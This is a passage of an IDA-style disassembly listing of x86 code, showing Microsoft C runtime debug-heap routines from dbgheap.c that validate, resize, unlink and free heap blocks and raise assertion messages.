loc_41B52C:				; CODE XREF: sub_41B330+236j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41B541
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41B562


loc_41B541:				; CODE XREF: sub_41B330+206j
		push	offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
		push	0
		push	26Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B562
		int	3		; Trap to Debugger


loc_41B562:				; CODE XREF: sub_41B330+20Fj
					; sub_41B330+22Fj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B52C
		jmp	short loc_41B5CE
; ---------------------------------------------------------------------------


loc_41B56A:				; CODE XREF: sub_41B330+1FAj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41B58F
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_41B58F
		mov	[ebp+arg_8], 2


loc_41B58F:				; CODE XREF: sub_41B330+248j
					; sub_41B330+256j ...
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_41B5C8
		push	offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
		push	0
		push	272h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B5C8
		int	3		; Trap to Debugger


loc_41B5C8:				; CODE XREF: sub_41B330+275j
					; sub_41B330+295j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B58F


loc_41B5CE:				; CODE XREF: sub_41B330+238j
		cmp	[ebp+arg_14], 0
		jz	short loc_41B5F9
		mov	eax, [ebp+arg_4]
		add	eax, 24h
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_421D10
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41B5F7
		xor	eax, eax
		jmp	loc_41B83A
; ---------------------------------------------------------------------------


loc_41B5F7:				; CODE XREF: sub_41B330+2BEj
		jmp	short loc_41B61C
; ---------------------------------------------------------------------------


loc_41B5F9:				; CODE XREF: sub_41B330+2A2j
		mov	edx, [ebp+arg_4]
		add	edx, 24h
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_421C60
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41B61C
		xor	eax, eax
		jmp	loc_41B83A
; ---------------------------------------------------------------------------


loc_41B61C:				; CODE XREF: sub_41B330:loc_41B5F7j
					; sub_41B330+2E3j
		mov	ecx, ds:dword_44FA44
		add	ecx, 1
		mov	ds:dword_44FA44, ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_41B687
		mov	edx, [ebp+var_C]
		mov	eax, ds:dword_4EE958
		sub	eax, [edx+10h]
		mov	ds:dword_4EE958, eax
		mov	ecx, ds:dword_4EE958
		add	ecx, [ebp+arg_4]
		mov	ds:dword_4EE958, ecx
		mov	edx, [ebp+var_C]
		mov	eax, ds:dword_4EE960
		sub	eax, [edx+10h]
		mov	ds:dword_4EE960, eax
		mov	ecx, ds:dword_4EE960
		add	ecx, [ebp+arg_4]
		mov	ds:dword_4EE960, ecx
		mov	edx, ds:dword_4EE960
		cmp	edx, ds:dword_4EE964
		jbe	short loc_41B687
		mov	eax, ds:dword_4EE960
		mov	ds:dword_4EE964, eax


loc_41B687:				; CODE XREF: sub_41B330+2FFj
					; sub_41B330+34Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 20h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		cmp	eax, [edx+10h]
		jbe	short loc_41B6BF
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		sub	edx, [ecx+10h]
		push	edx
		xor	eax, eax
		mov	al, ds:byte_44FA4E
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+10h]
		push	edx
		call	sub_41D100
		add	esp, 0Ch


loc_41B6BF:				; CODE XREF: sub_41B330+369j
		push	4
		xor	eax, eax
		mov	al, ds:byte_44FA4C
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41D100
		add	esp, 0Ch
		cmp	[ebp+var_14], 0
		jnz	short loc_41B6F9
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_10]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		mov	[eax+18h], ecx


loc_41B6F9:				; CODE XREF: sub_41B330+3ACj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		mov	[edx+10h], eax


loc_41B702:				; CODE XREF: sub_41B330+40Bj
		cmp	[ebp+arg_14], 0
		jnz	short loc_41B737
		cmp	[ebp+arg_14], 0
		jnz	short loc_41B716
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jz	short loc_41B737


loc_41B716:				; CODE XREF: sub_41B330+3DCj
		push	offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
		push	0
		push	2A8h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B737
		int	3		; Trap to Debugger


loc_41B737:				; CODE XREF: sub_41B330+3D6j
					; sub_41B330+3E4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B702
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jz	short loc_41B74B
		cmp	[ebp+var_14], 0
		jz	short loc_41B753


loc_41B74B:				; CODE XREF: sub_41B330+413j
		mov	eax, [ebp+var_4]
		jmp	loc_41B83A
; ---------------------------------------------------------------------------


loc_41B753:				; CODE XREF: sub_41B330+419j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx], 0
		jz	short loc_41B76B
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		jmp	short loc_41B7A7
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B330+429j
					; sub_41B330+46Aj
		mov	eax, ds:dword_4EE954
		cmp	eax, [ebp+var_8]
		jz	short loc_41B796
		push	offset a_plastblockPol ; "_pLastBlock == pOldBlock"
		push	0
		push	2B7h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B796
		int	3		; Trap to Debugger


loc_41B796:				; CODE XREF: sub_41B330+443j
					; sub_41B330+463j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B76B
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	ds:dword_4EE954, eax


loc_41B7A7:				; CODE XREF: sub_41B330+439j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41B7BF
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	[eax], edx
		jmp	short loc_41B7FA
; ---------------------------------------------------------------------------


loc_41B7BF:				; CODE XREF: sub_41B330+47Ej
					; sub_41B330+4BEj
		mov	eax, ds:dword_4EE95C
		cmp	eax, [ebp+var_8]
		jz	short loc_41B7EA
		push	offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
		push	0
		push	2C2h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B7EA
		int	3		; Trap to Debugger


loc_41B7EA:				; CODE XREF: sub_41B330+497j
					; sub_41B330+4B7j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B7BF
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	ds:dword_4EE95C, eax


loc_41B7FA:				; CODE XREF: sub_41B330+48Dj
		cmp	ds:dword_4EE95C, 0
		jz	short loc_41B811
		mov	ecx, ds:dword_4EE95C
		mov	edx, [ebp+var_C]
		mov	[ecx+4], edx
		jmp	short loc_41B819
; ---------------------------------------------------------------------------


loc_41B811:				; CODE XREF: sub_41B330+4D1j
		mov	eax, [ebp+var_C]
		mov	ds:dword_4EE954, eax


loc_41B819:				; CODE XREF: sub_41B330+4DFj
		mov	ecx, [ebp+var_C]
		mov	edx, ds:dword_4EE95C
		mov	[ecx], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_C]
		mov	ds:dword_4EE95C, ecx
		mov	eax, [ebp+var_4]


loc_41B83A:				; CODE XREF: sub_41B330+2Ej
					; sub_41B330+51j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B330	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41B870
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B870	proc near		; CODE XREF: seg000:0041B861p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_421A80
		add	esp, 4
		push	0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B330
		add	esp, 18h
		mov	[ebp+var_4], eax
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41B870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8B0	proc near		; CODE XREF: seg000:00401121p
					; sub_402533+B7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		pop	ebp
		retn
sub_41B8B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41B920
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8F0	proc near		; CODE XREF: sub_41AD80+98p
					; sub_41B330+47p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	9
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B920
		add	esp, 8
		push	9
		call	sub_421B20
		add	esp, 4
		pop	ebp
		retn
sub_41B8F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B920	proc near		; CODE XREF: seg000:0041B8D9p
					; sub_41B8F0+15p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_44FA40
		and	eax, 4
		test	eax, eax
		jz	short loc_41B963


loc_41B933:				; CODE XREF: sub_41B920+41j
		call	sub_41C000
		test	eax, eax
		jnz	short loc_41B95D
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	3E1h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B95D
		int	3		; Trap to Debugger


loc_41B95D:				; CODE XREF: sub_41B920+1Aj
					; sub_41B920+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B933


loc_41B963:				; CODE XREF: sub_41B920+11j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B96E
		jmp	loc_41BD05
; ---------------------------------------------------------------------------


loc_41B96E:				; CODE XREF: sub_41B920+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	ds:off_44FE20
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41B9B8


loc_41B98D:				; CODE XREF: sub_41B920+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41B9AD
		int	3		; Trap to Debugger


loc_41B9AD:				; CODE XREF: sub_41B920+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B98D
		jmp	loc_41BD05
; ---------------------------------------------------------------------------


loc_41B9B8:				; CODE XREF: sub_41B920+6Bj
					; sub_41B920+CDj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41C460
		add	esp, 4
		test	eax, eax
		jnz	short loc_41B9E9
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	3F3h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B9E9
		int	3		; Trap to Debugger


loc_41B9E9:				; CODE XREF: sub_41B920+A6j
					; sub_41B920+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B9B8
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_4], ecx


loc_41B9F8:				; CODE XREF: sub_41B920+12Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41BA4B
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41BA4B
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41BA4B
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41BA4B
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	3F9h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BA4B
		int	3		; Trap to Debugger


loc_41BA4B:				; CODE XREF: sub_41B920+E6j
					; sub_41B920+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B9F8
		mov	eax, ds:dword_44FA40
		and	eax, 4
		test	eax, eax
		jnz	loc_41BB26
		push	4
		mov	cl, ds:byte_44FA4C
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 1Ch
		push	edx
		call	sub_41BF70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BAC0


loc_41BA7D:				; CODE XREF: sub_41B920+19Ej
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, ds:off_44FA50[ecx*4]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	1
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41BABA
		int	3		; Trap to Debugger


loc_41BABA:				; CODE XREF: sub_41B920+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41BA7D


loc_41BAC0:				; CODE XREF: sub_41B920+15Bj
		push	4
		mov	cl, ds:byte_44FA4C
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_41BF70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BB26


loc_41BAE3:				; CODE XREF: sub_41B920+204j
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, ds:off_44FA50[ecx*4]
		push	edx
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	1
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41BB20
		int	3		; Trap to Debugger


loc_41BB20:				; CODE XREF: sub_41B920+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41BAE3


loc_41BB26:				; CODE XREF: sub_41B920+13Bj
					; sub_41B920+1C1j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41BB9B


loc_41BB2F:				; CODE XREF: sub_41B920+249j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41BB44
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41BB65


loc_41BB44:				; CODE XREF: sub_41B920+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0
		push	40Eh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BB65
		int	3		; Trap to Debugger


loc_41BB65:				; CODE XREF: sub_41B920+222j
					; sub_41B920+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41BB2F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, ds:byte_44FA4D
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41D100
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_421F00
		add	esp, 4
		jmp	loc_41BD05
; ---------------------------------------------------------------------------


loc_41BB9B:				; CODE XREF: sub_41B920+20Dj
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_41BBB1
		cmp	[ebp+arg_4], 1
		jnz	short loc_41BBB1
		mov	[ebp+arg_4], 2


loc_41BBB1:				; CODE XREF: sub_41B920+282j
					; sub_41B920+288j ...
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41BBDD
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	41Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BBDD
		int	3		; Trap to Debugger


loc_41BBDD:				; CODE XREF: sub_41B920+29Aj
					; sub_41B920+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41BBB1
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_4EE960
		sub	eax, [edx+10h]
		mov	ds:dword_4EE960, eax
		mov	ecx, ds:dword_44FA40
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_41BCDC
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_41BC1C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_41BC5A
; ---------------------------------------------------------------------------


loc_41BC1C:				; CODE XREF: sub_41B920+2EAj
					; sub_41B920+32Cj
		mov	ecx, ds:dword_4EE954
		cmp	ecx, [ebp+var_4]
		jz	short loc_41BC48
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0
		push	42Ah
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BC48
		int	3		; Trap to Debugger


loc_41BC48:				; CODE XREF: sub_41B920+305j
					; sub_41B920+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41BC1C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	ds:dword_4EE954, ecx


loc_41BC5A:				; CODE XREF: sub_41B920+2FAj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 0
		jz	short loc_41BC72
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_41BCAF
; ---------------------------------------------------------------------------


loc_41BC72:				; CODE XREF: sub_41B920+341j
					; sub_41B920+382j
		mov	ecx, ds:dword_4EE95C
		cmp	ecx, [ebp+var_4]
		jz	short loc_41BC9E
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0
		push	434h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BC9E
		int	3		; Trap to Debugger


loc_41BC9E:				; CODE XREF: sub_41B920+35Bj
					; sub_41B920+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41BC72
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	ds:dword_4EE95C, ecx


loc_41BCAF:				; CODE XREF: sub_41B920+350j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, ds:byte_44FA4D
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41D100
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_421F00
		add	esp, 4
		jmp	short loc_41BD05
; ---------------------------------------------------------------------------


loc_41BCDC:				; CODE XREF: sub_41B920+2DEj
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		xor	ecx, ecx
		mov	cl, ds:byte_44FA4D
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	sub_41D100
		add	esp, 0Ch


loc_41BD05:				; CODE XREF: sub_41B920+49j
					; sub_41B920+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41BD30
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD30	proc near		; CODE XREF: seg000:0041BD19p
					; sub_41FDB0+11p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_44FA40
		and	eax, 4
		test	eax, eax
		jz	short loc_41BD75


loc_41BD45:				; CODE XREF: sub_41BD30+43j
		call	sub_41C000
		test	eax, eax
		jnz	short loc_41BD6F
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	47Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BD6F
		int	3		; Trap to Debugger


loc_41BD6F:				; CODE XREF: sub_41BD30+1Cj
					; sub_41BD30+3Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41BD45


loc_41BD75:				; CODE XREF: sub_41BD30+13j
		push	9
		call	sub_421A80
		add	esp, 4


loc_41BD7F:				; CODE XREF: sub_41BD30+84j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41C460
		add	esp, 4
		test	eax, eax
		jnz	short loc_41BDB0
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	485h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BDB0
		int	3		; Trap to Debugger


loc_41BDB0:				; CODE XREF: sub_41BD30+5Dj
					; sub_41BD30+7Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41BD7F
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_8], ecx


loc_41BDBF:				; CODE XREF: sub_41BD30+E6j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41BE12
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41BE12
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41BE12
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41BE12
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	48Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BE12
		int	3		; Trap to Debugger


loc_41BE12:				; CODE XREF: sub_41BD30+9Dj
					; sub_41BD30+A6j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41BDBF
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_41BE2E
		cmp	[ebp+arg_4], 1
		jnz	short loc_41BE2E
		mov	[ebp+arg_4], 2


loc_41BE2E:				; CODE XREF: sub_41BD30+EFj
					; sub_41BD30+F5j
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41BE69


loc_41BE37:				; CODE XREF: sub_41BD30+137j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41BE63
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	492h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BE63
		int	3		; Trap to Debugger


loc_41BE63:				; CODE XREF: sub_41BD30+110j
					; sub_41BD30+130j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41BE37


loc_41BE69:				; CODE XREF: sub_41BD30+105j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_4], eax
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BD30	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_44FA48
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	ds:dword_44FA48, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_41C460
		add	esp, 4
		test	eax, eax
		jz	short loc_41BF3C
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-4], ecx


loc_41BEDA:				; CODE XREF: seg000:0041BF31j
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41BF2D
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41BF2D
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41BF2D
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41BF2D
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4D3h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BF2D
		int	3		; Trap to Debugger


loc_41BF2D:				; CODE XREF: seg000:0041BEE8j
					; seg000:0041BEF1j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41BEDA
		mov	eax, [ebp-4]
		mov	ecx, [ebp+0Ch]
		mov	[eax+14h], ecx


loc_41BF3C:				; CODE XREF: seg000:0041BECFj
		push	9
		call	sub_421B20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:off_44FE20
		mov	[ebp-4], eax
